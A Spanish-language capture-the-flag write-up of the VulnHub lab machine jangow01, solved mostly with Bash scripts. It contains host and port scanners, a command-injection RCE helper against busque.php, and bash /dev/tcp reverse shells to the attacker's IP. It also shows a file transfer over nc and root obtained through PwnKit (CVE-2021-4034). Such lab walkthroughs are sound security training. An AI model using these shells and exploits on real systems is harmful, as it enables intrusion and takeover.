Contenido

Resolviendo jangow01 usando solo Bash

¡Resolví jangow01 usando solo Bash!

En esta serie de posts trato de usar solo Bash y algunas herramientas externas solo si es extremadamente necesario.

Empezemos con jangow01!!! puedes descargar jangow01 desde vulnhub.com

Herramientas usadas
Todas las herramientas usadas en esta guia estan presentes en cualquier instalación Linux por defecto con excepción del exploit
English version
An English version for this post is here
Video resumen

Este post tambien tiene un resumen en video:

Enumeración

Hagamos un script para encontrar hosts en línea:

1
2
3
for ip in {0..255};do
  ping -c 1 192.168.56.$ip >/dev/null && echo " 192.168.56.$ip is online"
done

Pero demora mucho, hagamos que sea más rápido usando la asincronia

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
#!/bin/env bash

# getHosts.sh
getIps(){
  ping -c 4 192.168.56.$ip >/dev/null && echo " 192.168.56.$ip is online"
  sleep 0.1
}

# Programa principal
for ip in {1..254};do
  # Usamos la asincronia para un escaneo rapido
  getIps "$ip" &
done
wait

El script encontró 3 ips

/ctfs/vulnhub/jangow01/images/getHosts.png
Figura 1: Hosts en linea

Aquí 192.168.56.118 es el objetivo (la máquina jangow01)

Obtieniendo puertos abiertos

Ahora que encontramos el objetivo, buscamos puertos abiertos, para esta tarea hacemos otro script usando /dev/tcp/$ip/$port

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/env bash

# getServices.sh

# Enable job control
set -m 

# Only tcp ports
scan(){
  if timeout 1s bash -c "</dev/tcp/192.168.56.118/$1" &> /dev/null; then      
        echo "Port $1 is open"
  fi;
}

jobCtrl=0
for ip in {1..65535};do

  # ¿Porque usamos esto? Para prevenir una sobrecarga de la CPU 
  if [ $jobCtrl -eq 50 ]; then
    wait -n # Si tenemos 50 procesos, esperamos a que terminen
    jobCtrl=0
  fi

  # Escaneo asincrono
  scan $ip & 
  jobCtrl=$((jobCtrl+1))

done
wait

Después de ejecutar el script, este muestra los puertos abiertos en 192.168.56.118

/ctfs/vulnhub/jangow01/images/getServices.png
Figura 2: Puertos abiertos en 192.168.56.118

Analizando los puertos abiertos

Usé la herramienta curl para verificar las respuestas del servidor

1
 curl 192.168.56.118

/ctfs/vulnhub/jangow01/images/getInfo.png
Figura 3: Información del servidor

Genial!. pero solo necesitamos ver hrer y src para obtener enlaces

1
 curl -v --silent 192.168.56.118 2>&1 | grep -E "href|src" 

/ctfs/vulnhub/jangow01/images/getRefs.png
Figura 4: hrefs y src

Analizando la salida, encontramos el enlace “site/”, comprobando…

1
 curl 192.168.56.118/site/

Pero retorna mucho código, de nuevo buscamos las propiedades src y dst solo para obtener enlaces

1
 curl -v --silent 192.168.56.118/site/ 2>&1 | grep -E "href|src" 

/ctfs/vulnhub/jangow01/images/getSite.png
Figura 5: propiedades hrefs y src para site/

La salida muestra una solicitud que podria ser interesante:

1
href="busque.php?buscar="

buscando alguna respuesta interesante encontramos RCE

1
 curl --get --data-urlencode "buscar=w" 192.168.56.118/site/busque.php

/ctfs/vulnhub/jangow01/images/getRce.png
Figura 6: Provando RCE en site/

Explotación

Para ahorrarme escribir mucho, hice un script para ayudarme con el RCE

1
2
3
4
5
6
7
8
9
#!/bin/env bash

# getRce.sh

while true;do
  read -p "comm>  " cmd
  curl --get  --data-urlencode "buscar=$cmd 2>&1" http://192.168.56.118/site/busque.php
  echo  " "
done

Obteniendo más información

/ctfs/vulnhub/jangow01/images/getRce2.png
Figura 7: Información de Jangow01

Verificamos si tenemos permisos de escritura

/ctfs/vulnhub/jangow01/images/getRce4.png
Figura 8: Permisos de escritura

Archivo de configuración de WordPress

/ctfs/vulnhub/jangow01/images/getRce5.png
Figura 9: Configuracón de WordPress

¿Archivos ocultos?

/ctfs/vulnhub/jangow01/images/getRce6.png
Figura 10: Ver archivos ocultos

Si vemos el directorio “/home” obtenemos esto:

/ctfs/vulnhub/jangow01/images/getRce3.png
Figura 11: Flag de Jangow01 en /home/jangow01

Shell inversa

Genial!! tenemos el usuario su flag y credenciales, ahora usamos una shell inversa simple

1
  comm> bash -c 'bash -i >& /dev/tcp/192.168.56.1/222 0>&1'

Aquí tenemos algunos problemas:

  • todos los puertos salientes no funcionan
  • fallan las pruebas con conexiones salientes (ping)
  • herramientas como dig, nslookup también fallan

Script para probar puertos salientes (outgoing ports)

Al replicar el mismo comportamiento en un servidor ubuntu, descubrí que todos o algunos puertos están filtrados por el firewall, al verificar /var/log en la vm de Jangow01, encontré el archivo ufw.log, esto indica que ufw está activo. ahora vamos a encontrar puertos salientes abiertos (si existen) para eso uso la utilidad telnet (en este caso para puertos salientes)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/bin/env bash

# testPort.sh

runTelnet(){
  if timeout 5s telnet 192.168.56.11 $1 2>&1 | grep "Unable"; then
    echo "$1" > open
  fi
}

for port in {1..65535}; do

  runTelnet $port &
  if [[ -d open ]];then
    echo "Port $(cat open) is open"
    break
  fi
done
Acerca de testPort.sh script

192.168.56.11 es una ip fuera de linea en la misma red

timeout 5s elimina telnet si tarda más de 5 segundos en mostrar el mensaje de error, esto indica si un puerto está abierto o cerrado

¿Cómo subir este script? tenemos dos opciones:

  • usando el servicio ftp y las credenciales encontradas antes (fácil)
  • o vía rce (fácil también)

Prefiero usar RCE

  1. Convertimos testPort.sh a base64 para obtener una sola línea
1
>tr -d "\n" < <(base64 testPort.sh) > out

/ctfs/vulnhub/jangow01/images/testPort.png
Figura 12: base64

  1. Subiendo por RCE
1
curl --get  --data-urlencode "buscar=echo '$(cat out)' | base64 -d > run.sh 2>&1" http://192.168.56.118/site/busque.php

/ctfs/vulnhub/jangow01/images/testPort2.png
Figura 13: Subiendo el script

  1. El script ya esta en la maquina Jangow01, finalmente lo ejecutamos
1
curl --get  --data-urlencode "buscar=bash run.sh &" http://192.168.56.118/site/busque.php
  1. Comprobamos si se creó el archivo “open”
1
curl --get  --data-urlencode "buscar=ls" http://192.168.56.118/site/busque.php
  1. Y obtenemos el puerto magico
1
curl --get  --data-urlencode "buscar=cat open" http://192.168.56.118/site/busque.php

/ctfs/vulnhub/jangow01/images/testPort3.png
Figura 14: Puerto de salida abierto

Ahora abrimos una conexion en el puerto 443 con nc

1
2
3
4
5
sudo nc -lvnp 443
Listening on 0.0.0.0 443

# ejecutamos esto en la vm de Jangow01 via RCE
comm>  bash -c 'bash -i >& /dev/tcp/192.168.56.1/443 0>&1'

/ctfs/vulnhub/jangow01/images/getShell.png
Figura 15: Obteniendo una shell remota

¡¡¡Genial!!!. ya tenemos una shell remota

Escalada de privilegios

La flag está en el directorio “/root”, pero ¿Tenemos una shell de inicio de sesión o no? por supuesto que no, no hemos iniciado ninguna sesión

/ctfs/vulnhub/jangow01/images/getShell2.png
Figura 16: Información de sesión

Necesitamos una shell para iniciar sesión como usuario. probando algunas técnicas solo python3 funcionó

1
www-data@jangow01:/var/www/html/site$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Ahora iniciamos sesión con las credenciales “jangow01” y “abygurl69”

/ctfs/vulnhub/jangow01/images/getShell3.png
Figura 17: Iniciando sesión como usuario jangow01

Obtener root

Vi que en muchos blogs para ser root en Jangow01 usan diferentes exploits para kernel pero usar estos exploits no son la mejor manera de ser root porque es posible causar fallas en el sistema y podriamos perder todo el progreso hecho hasta ahora

Sobre exploits de kernel
En lo posible intente encontrar otra forma de ser root antes de usar exploits del kernel estos, son el último recurso cuando todo falla

Para jangow01 probé algunas técnicas de escalada de privilegios pero solo encontré una vulnerabilidad SUID

1
find / -perm -u=s -type f 2>/dev/null

/ctfs/vulnhub/jangow01/images/getSuids.png
Figura 18: Suids

Revisando en https://gtfobins.github.io/#+sudo encontré una posible opción

pkexec

Pero esto no funcionó

1
sudo pkexec /bin/sh

/ctfs/vulnhub/jangow01/images/pkexec.png
Figura 19: sudo pkexec /bin/bash

Encontré que pkexec tiene el cve-2021-4034, una versión vulnerable que se encuentra en este repo, después de descargar PwnKit, ya no es posible subir el archivo en la máquina de jangow01 usando base64 como antes, para esto usé nc en el puerto 443

  1. Primero iniciamos nc en el puerto 443 y enviamos PwnKit a través de un pipe
1
sudo nc -lvnp 443 < PwnKit
  1. En la máquina Jangow01 usando el RCE descargamos el archivo PwnKit
1
comm>  bash -c 'cat < /dev/tcp/192.168.56.1/443 > PwnKit' &
  1. Ahora ejecutamos PwnKit

/ctfs/vulnhub/jangow01/images/getRoot.png
Figura 20: Ejecutando pkexec

Finalmente obtenemos root

/ctfs/vulnhub/jangow01/images/getRoot2.png
Figura 21: Get root

Enlaces útiles